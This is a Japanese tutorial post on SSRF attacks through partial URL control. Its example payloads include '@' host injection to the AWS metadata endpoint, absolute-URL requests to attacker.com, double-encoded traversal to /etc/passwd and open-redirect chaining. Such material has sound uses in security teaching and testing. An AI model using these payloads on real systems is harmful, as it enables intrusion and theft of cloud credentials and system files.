Hello there, ('ω')ノ
一部のアプリケーションでは、完全なURLではなく、ホスト名やパスの一部のみをリクエストパラメータとして扱い、サーバー側でフルURLを構築する ことがあります。
この場合、攻撃者は URL全体を制御できない ため、SSRFをフル活用することが難しくなる可能性があります。
しかし、適切なテクニックを使うことで、部分的なURL制御を悪用し、SSRF攻撃を成立させる ことができます。
1. 部分的なURLを扱うアプリケーションの例
🔹 ① ホスト名のみを指定するパターン
一部のアプリケーションは、パラメータとしてホスト名のみを受け取り、フルURLをサーバー側で補完する ことがあります。
📌 例:画像取得API
GET /fetchImage?hostname=example.com
サーバー側の処理
BASE_URL = "http://" hostname = request.GET["hostname"] url = BASE_URL + hostname + "/image.png" response = requests.get(url)
結果:
攻撃者が hostname
を変更すると、任意のホストから画像を取得させることが可能。
GET /fetchImage?hostname=attacker.com
✅ これにより、攻撃者のサーバーにリクエストを送信させることが可能!
🔹 ② パスのみを指定するパターン
別のパターンとして、ベースURLが固定され、リクエストパラメータとして「パス」のみが渡されるケース があります。
📌 例:社内APIを呼び出す機能
GET /api/data?path=/users
サーバー側の処理
BASE_API_URL = "http://internal-api.local" path = request.GET["path"] url = BASE_API_URL + path response = requests.get(url)
結果:
攻撃者が path=../../../../etc/passwd
のような値を渡すと、ディレクトリトラバーサル攻撃が可能 になる。
GET /api/data?path=../../../../etc/passwd
✅ 内部APIの機密データを盗む可能性あり!
2. 部分的なURL制御を悪用するSSRF攻撃
部分的なURL制御がある場合、以下の手法を利用してフルSSRF攻撃を実行できる可能性があります。
① URLスキームの挿入
- 一部のアプリケーションは、
http://
を自動的に追加する場合があります。 @
を使うことで、任意のドメインをリクエストさせることが可能!
📌 例
GET /fetchImage?hostname=attacker.com@169.254.169.254/latest/meta-data/
サーバー側の処理
BASE_URL = "http://" hostname = request.GET["hostname"] url = BASE_URL + hostname + "/image.png" response = requests.get(url)
結果:
✅ AWSのメタデータAPI(169.254.169.254
)にリクエストを送らせることが可能!
② 絶対URLの利用
- 一部のサーバーは、パスの部分に
http://
を挿入すると、そのURLに直接リクエストを送る仕様になっている
📌 例
GET /api/data?path=http://attacker.com/steal
結果:
✅ http://attacker.com/steal
にリクエストを送信させることが可能!
③ URLエンコーディングの利用
- 一部のフィルタは、エンコードされたURLを正しく解析できない
- 二重エンコード(
%252F
)を利用すると、フィルタを回避できる場合がある
📌 例
GET /api/data?path=%252F..%252F..%252F..%252Fetc%252Fpasswd
結果:
✅ サーバーが /etc/passwd
にアクセスし、内部情報を取得する可能性がある!
④ Open Redirectを利用
- ホスト名が制限されている場合、オープンリダイレクションを利用すると内部リソースにアクセス可能!
📌 例
GET /fetchImage?hostname=trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/
結果:
✅ 最初に trusted.com
へリクエストが送られ、リダイレクトを経由してメタデータサービスにアクセス!
3. まとめ
攻撃手法 | 攻撃例 | 結果 |
---|---|---|
URLスキームの挿入 | attacker.com@169.254.169.254/latest/meta-data/ |
メタデータサービスの取得 |
絶対URLの利用 | path=http://attacker.com/steal |
任意のURLにリクエストを送信 |
エンコーディング回避 | %252Fetc%252Fpasswd |
フィルタ回避&ディレクトリトラバーサル |
オープンリダイレクション | trusted.com/redirect?url=http://169.254.169.254 |
内部APIやクラウドメタデータへのアクセス |
🚀 部分的なURL制御でも、適切なテクニックを使えばSSRF攻撃が可能!
🔍 アプリケーションの挙動を詳細に分析し、攻撃手法を組み合わせることで突破できる可能性がある!
Best regards, (^^ゞ